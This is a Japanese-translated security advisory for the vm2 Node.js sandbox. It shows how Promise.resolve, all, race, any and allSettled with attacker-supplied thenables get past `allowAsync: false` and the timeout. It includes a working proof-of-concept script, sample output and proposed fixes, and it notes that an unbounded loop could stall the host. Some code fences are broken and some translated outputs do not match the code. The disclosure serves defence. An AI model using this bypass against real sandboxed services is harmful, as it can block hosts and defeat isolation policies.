vm2: `allowAsync` を `false` に設定しても、VM および NodeVM 内の Promise の thenable 連携によって回避できる。
### 概要
`allowAsync` が `false` に設定されている場合、vm2 は非同期コードの実行を拒否すると予想されます。 `Promise.prototype.then` の直接的な使用はブロックされますが、Promise の静的メソッドは、攻撃者が制御する thenable と連携する可能性があります。 `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, および `Promise.allSettled([thenable])` は、`VM.run()` または `NodeVM.run()` が完了した後、マイクロタスクとして thenable の `then` メソッドを呼び出す可能性があります。
これにより、ドキュメントに記載されている非同期実行の制限を回避し、ホストが実行が完了したと認識した後も、サンドボックス化されたコードが実行され続ける可能性があります。
### 詳細
ドキュメントに記載されている VM のオプションでは、`allowAsync: false` に設定すると、非同期コードの実行を試みた場合に `VMError` が発生するとされています。 README.md の 139-145 行でも、`timeout` と組み合わせて使用することを推奨しています。 実装では、非同期が無効になっている場合に、`localPromise.prototype.then` を `AsyncErrorHandler` で置き換えることで、このポリシーの一部を適用しています。
- `lib/setup-sandbox.js:1629-1637` では、`AsyncErrorHandler` が定義されており、その `apply` および `construct` トラップは `VMError: Async not available` をスローします。
- `lib/setup-sandbox.js:1743-1752` では、`allowAsync` が `false` の場合に、このハンドラが `localPromise.prototype.then` にインストールされます。
ただし、Promise の静的メソッドは引き続き公開されており、`localPromise` に再バインドされています。
- `lib/setup-sandbox.js:1816-1819` では、`Promise.all` がラップされています。
- `lib/setup-sandbox.js:1821-1824` では、`Promise.race` がラップされています。
- `lib/setup-sandbox.js:1826-1830` では、`Promise.allSettled` がラップされています。
- `lib/setup-sandbox.js:1833-1837` では、`Promise.any` がラップされています。
- `lib/setup-sandbox.js:1840-1843` では、`Promise.resolve` がラップされています。
これらのラッパーは、`localPromise`をコンストラクタとして強制することで、特定の種類の攻撃を防ぎますが、`allowAsync`がfalseの場合、thenableオブジェクトを拒否したり、無効化したりすることはありません。ネイティブのPromise解決処理では、`PromiseResolveThenableJob`が実行され、攻撃者が制御する`then`メソッドが非同期的に呼び出されます。このジョブは、パッチが適用された`localPromise.prototype.then`メソッドを経由しないため、`AsyncErrorHandler`に到達することはありません。
`NodeVM`は、`VM`(`lib/nodevm.js:328-332`)を介して、同じサンドボックスPromiseの設定を継承するため、`NodeVM`でも同様のthenableアサイムレーションの回避が可能になります。
トランスフォーマーの高速パスが根本的な原因ではありませんが、最小限のPoCがパーサーに依存しない理由を説明しています。以下のペイロードには、`catch`、`import`、`async`、`with`、内部状態識別子、または`\u`は含まれていません。そのため、`lib/transformer.js:82-89`はASTの解析を行わずに処理を終了します。
### PoC
メンテナが実行可能な、クリーンなチェックアウトの手順:
```sh
npm install
node - <<'NODE'
const {VM, NodeVM} = require('./');
async function runVmCase(name, code) {
const events = [];
const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}
async function runNodeVmCase(name, code) {
const events = [];
const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}
```
(async () => {
await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);
await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);
await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);
await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);
await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);
await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);
await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);
await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);
const timeoutEvents = [];
const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});
const started = Date.now();
const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);
const afterRun = Date.now();
await new Promise(resolve => setImmediate(resolve));
console.log(`タイムアウトケースの結果: ${ret}`);
console.log(`タイムアウトケースの実行時間 (ms): ${afterRun - started}`);
console.log(`タイムアウトケースのイベント数: ${timeoutEvents.length}`);
console.log(`タイムアウトケースの経過時間 (ms): ${Date.now() - started}`);
})();
NODE
VM Promise.resolve thenable: 戻り値 1
VM Promise.resolve thenable イベント: resolve-thenable
VM Promise.all thenable: 戻り値 1
VM Promise.all thenable イベント: all-thenable
VM Promise.race thenable: 戻り値 1
VM Promise.race thenable イベント: race-thenable
VM Promise.any thenable: 戻り値 1
VM Promise.any thenable イベント: any-thenable
VM Promise.allSettled thenable: 戻り値 1
VM Promise.allSettled thenable イベント: allSettled-thenable
VM direct then 負の制御: VMError:Async が利用できませんでした
VM direct then 負の制御 イベント: <なし>
NodeVM Promise.resolve thenable: 戻り値 1
NodeVM Promise.resolve thenable イベント: nodevm-resolve-thenable
NodeVM direct then 負の制御: VMError:Async が利用できませんでした
NodeVM direct then 負の制御 イベント: <なし>
タイムアウトケース: 戻り値 1
タイムアウトケース 実行時間 (ms): 0
タイムアウトケース イベント: 1
タイムアウトケース 経過時間 (ms): 35
この環境からのローカル出力(一時的なローカル `acorn`/`acorn-walk` のスタブのみを使用)。依存関係がインストールされておらず、ペイロードがトランスフォーマーの高速パスを使用するため、パーサーが呼び出されません。
```json
{
"results": [
["Promise.resolve thenable", "run-returned", 1],
["Promise.resolve thenable events", "resolve-thenable"],
["Promise.all thenable", "run-returned", 1],
["Promise.all thenable events", "all-thenable"],
["Promise.race thenable", "run-returned", 1],
["Promise.race thenable events", "race-thenable"],
["Promise.any thenable", "run-returned", 1],
["Promise.any thenable events", "any-thenable"],
["Promise.allSettled thenable", "run-returned", 1],
["Promise.allSettled thenable events", "allSettled-thenable"],
["direct then control", "threw", "VMError:Async not available"],
["direct then control events", "<none>"]
],
"timeoutCase": {
"ret": 1,
"runReturnedInMs": 0,
"events": [1779866562491],
"elapsedMs": 35
}
}
```
`NodeVM` の出力例:
```text
NodeVM Promise.resolve thenable: 1つ返却
NodeVM Promise.resolve thenable イベント: nodevm-resolve-thenable
NodeVM ダイレクトな then 制御: VMError: Async が利用できませんというエラーが発生
NodeVM ダイレクトな then 制御 イベント: <なし>
### 影響
多くのアプリケーションでは、`timeout` と `allowAsync: false` を組み合わせて使用しており、これにより信頼できないスクリプトは同期的に実行され、`run()` が完了した後に処理を継続することができません。この問題は、そのセキュリティ境界を破ります。サンドボックス化されたスクリプトは、Promise thenable ジョブをスケジュールし、`VM.run()` が正常に完了した後で、攻撃者が制御するコードを実行することができます。コードが `VM.run()` の完了後に実行されるため、設定されたタイムアウトはそれを中断できなくなります。
悪意のある thenable は、これを利用して、ホストの Node.js イベントループをブロックし、ホストがサンドボックスの実行が完了したと認識した後でも、処理を継続させることができます。上記の検証では、安全のために 35 ミリ秒の制限付きループを使用していますが、同様の仕組みを無制限にすることも可能です。したがって、この問題はサンドボックスのポリシーと可用性を回避するものです。このレポートでは、ホストオブジェクトの直接的な露出、プロセスへのアクセス、ファイルシステムへのアクセス、またはホストのリモートコード実行(RCE)については言及していません。
ネガティブ/コントロールの検証: ダイレクトな `.then()` は `VMError: Async が利用できません` というエラーで拒否され、コールバックは実行されません。これは、意図された保護が存在することを確認していますが、静的な Promise thenable の統合に関しては不完全であることを示しています。
### 推奨される対策
`allowAsync` が false の場合、`Promise.prototype.then` のみならず、ジョブをスケジュールできるすべての Promise の静的メソッドのパスを拒否または無効にする必要があります。最低限、`Promise.resolve`、`Promise.all`、`Promise.race`、`Promise.any`、および `Promise.allSettled` は、`allowAsync: false` の場合に、攻撃者が制御する thenable を呼び出してはなりません。考えられる対策としては、非同期が有効になっていない場合に、これらの静的メソッドを `AsyncErrorHandler` スタイルのエラーを発生させるものに置き換えるか、または入力値をラップして、thenable の統合が攻撃者のコードをスケジュールできないようにすることなどがあります。
`VM` および `NodeVM` に関する回帰テストを追加し、以下の点を検証する必要があります。
```
- `Promise.resolve({ then(){} })` は、`allowAsync` が `false` の場合、エラーを発生させるか、または thenable を呼び出さない。
- `Promise.all`, `Promise.race`, `Promise.any`, および `Promise.allSettled` も、thenable 要素に対して同様の動作を行う。
- 直接的な `.then()` は引き続きブロックされる。
- タイムアウトが設定された VM は、Promise の thenable 連携によって `run()` が返された後、コードを実行できない。
## バリアント分析の概要
確認されたバリアント:
- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`
- `VM({allowAsync:false}).run('Promise.all([thenable])')`
- `VM({allowAsync:false}).run('Promise.race([thenable])')`
- `VM({allowAsync:false}).run('Promise.any([thenable])')`
- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`
- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`
確認された問題点:
- 直接的な `Promise.resolve(1).then(...)` は、`VM` と `NodeVM` の両方で `VMError: Async not available` を発生させる。
- `NodeVM` の危険な組み込み機能への露出は、別途確認され、今回の問題とは関連がない。
### 協力者
- VinSOC Labs (R&D) の Thai Son Dinh
- VinSOC Labs (AppSec) の Nguyen Huy Vu Dung
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは 3.11.7 以下、3.11.8 で修正済み。